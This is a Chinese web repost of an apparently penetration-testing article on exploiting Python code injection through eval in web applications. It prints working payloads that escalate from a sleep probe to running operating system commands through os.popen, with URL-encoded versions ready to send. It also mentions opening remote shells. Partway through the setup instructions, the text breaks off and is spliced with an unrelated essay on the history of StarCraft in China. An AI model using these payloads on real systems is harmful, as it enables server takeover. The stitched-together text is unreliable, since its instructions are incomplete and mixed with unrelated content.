如何使用python查找网站漏洞

如何使用python查找网站漏洞,第1张

如果你的Web应用中存在Python代码注入漏洞的话,攻击者就可以利用你的Web应用来向你后台服务器的Python解析器发送恶意Python代码了。这也就意味着,如果你可以在目标服务器中执行Python代码的话,你就可以通过调用服务器的 *** 作系统的指令来实施攻击了。通过运行 *** 作系统命令,你不仅可以对那些可以访问到的文件进行读写 *** 作,甚至还可以启动一个远程的交互式Shell(例如nc、Metasploit和Empire)。
为了复现这个漏洞,我在最近的一次外部渗透测试过程中曾尝试去利用过这个漏洞。当时我想在网上查找一些关于这个漏洞具体应用方法的信息,但是并没有找到太多有价值的内容。在同事Charlie Worrell(@decidedlygray)的帮助下,我们成功地通过Burp POC实现了一个非交互式的shell,这也是我们这篇文章所要描述的内容。
因为除了Python之外,还有很多其他的语言(例如Perl和Ruby)也有可能出现代码注入问题,因此Python代码注入属于服务器端代码注入的一种。实际上,如果各位同学和我一样是一名CWE的关注者,那么下面这两个CWE也许可以给你提供一些有价值的参考内容:
1 CWE-94:代码生成控制不当(‘代码注入’)2 CWE-95:动态代码评估指令处理不当(‘Eval注入’)漏洞利用
假设你现在使用Burp或者其他工具发现了一个Python注入漏洞,而此时的漏洞利用Payload又如下所示:
eval(compile('for x in range(1):\n import time\n timesleep(20)','a','single'))那么你就可以使用下面这个Payload来在目标主机中实现 *** 作系统指令注入了:
eval(compile("""for x in range(1):\\n import os\\n ospopen(r'COMMAND')read()""",'','single'))实际上,你甚至都不需要使用for循环,直接使用全局函数“__import__”就可以了。具体代码如下所示:
eval(compile("""__import__('os')popen(r'COMMAND')read()""",'','single'))其实我们的Payload代码还可以更加简洁,既然我们已经将import和popen写在了一个表达式里面了,那么在大多数情况下,你甚至都不需要使用compile了。具体代码如下所示:
__import__('os')popen('COMMAND')read()
为了将这个Payload发送给目标Web应用,你需要对其中的某些字符进行URL编码。为了节省大家的时间,我们在这里已经将上面所列出的Payload代码编码完成了,具体如下所示:
param=eval%28compile%28%27for%20x%20in%20range%281%29%3A%0A%20import%20time%0A%20timesleep%2820%29%27%2C%27a%27%2C%27single%27%29%29param=eval%28compile%28%22%22%22for%20x%20in%20range%281%29%3A%5Cn%20import%20os%5Cn%20ospopen%28r%27COMMAND%27%29read%28%29%22%22%22%2C%27%27%2C%27single%27%29%29param=eval%28compile%28%22%22%22__import__%28%27os%27%29popen%28r%27COMMAND%27%29read%28%29%22%22%22%2C%27%27%2C%27single%27%29%29param=__import__%28%27os%27%29popen%28%27COMMAND%27%29read%28%29接下来,我们将会给大家介绍关于这个漏洞的细节内容,并跟大家分享一个包含这个漏洞的Web应用。在文章的结尾,我将会给大家演示一款工具,这款工具是我和我的同事Charlie共同编写的,它可以明显降低你在利用这个漏洞时所花的时间。简而言之,这款工具就像sqlmap一样,可以让你快速找到SQL注入漏洞,不过这款工具仍在起步阶段,感兴趣的同学可以在项目的GitHub主页[传送门]中与我交流一下。
搭建一个包含漏洞的服务器
为了更好地给各位同学进行演示,我专门创建了一个包含漏洞的Web应用。如果你想要自己动手尝试利用这个漏洞的话,你可以点击这里获取这份Web应用。接下来,我们要配置的就是Web应用的运行环境,即通过pip或者easy_install来安装webpy。它可以作为一台独立的服务器运行,或者你也可以将它加载至包含mod_wsgi模块的Apache服务器中。相关 *** 作指令如下所示:
git clone >98年星际就到了我国 而作为一个星际玩家 我们有必要了解一下星际争霸在中国的历史 了解在我们其中很多人甚至还不知道星际 为何物的时候中国星际圈发生的事情 早期中国的星际还没有什么流派的概念 只是以多变的战术来控制局势 依靠兵种压制再扩大优势 他们刚上BN的时候 对挖矿的理解居然认为是一块矿只派一个工兵去就够了 多了是浪费 所以他们的矿区的工兵从未超过9——10个 这就意味着他们必须不停的占矿 不然钱不够用 也许早期高手扩张的概念大概是从这个时候开始的吧 直到他们发现许多外国玩家挖矿异常的快 还有 只占了一块资源却富裕的很 问了后才明白对方一块矿区至少有20多个工兵 red-apple的传说我们就不必介绍了 一个中国最老资格的玩家 曾被誉为中国人族第一高手 很多国内的相关网站和其他媒体对他都有介绍 我们暂且放开其他的不谈 只说星际 在那个星际中还没有医疗兵的时代 他以人族而树立这样的威名 其实力就可想而知了 98年这位苹果在美国BN上不停的征战 与之搭档的还有lanyf和lanyq兄弟 3人经常联手切老外 和他们经常在BN碰面的还有几个 caoyong ,ssglacier, kulou等等 中国第一支战队是POWER OF CHINA 简称POC red-apple的好朋友 caoyong[POC]就是POC战队的队长 与之一起的还有 paaa[POC] king[POC] 随之而来的就是dr战队 当时在BN上活跃的是dryi drman drxx这3个人 dr战队有些特别 就是他们向来只打2V2 3V3 以至在很久以后国内服务器上dr还一直以国内配合第一的战队而著称 几乎是与POC同时 另一个中国人组织的战队 CSA(中国星际联盟)成立 队长是一个到现在都无人不晓的人物:kuloucsa 这个战队从成立到现在一直屹立不倒 说它是中国寿命最长的星际战队一点也不为过 而该队长kuloucsa的领导才能不得不让人佩服 提起CSA 不能不提到一些现在对我们来说非常陌生的名字:knightcsa,cyzncsa, bobkingcsa,wyxcsa, lightsomecsa 这些都是当时CSA的元老 与kuloucsa并肩战斗 尤其是knightcsa 和kulou分别用realkingcsa和unrealkingcsa的ID打2v2曾经横扫美国BN ST)=独家


欢迎分享,转载请注明来源:内存溢出

原文地址: https://outofmemory.cn/zz/13476992.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2023-08-14
下一篇 2023-08-14

发表评论

登录后才能评论

评论列表(0条)

保存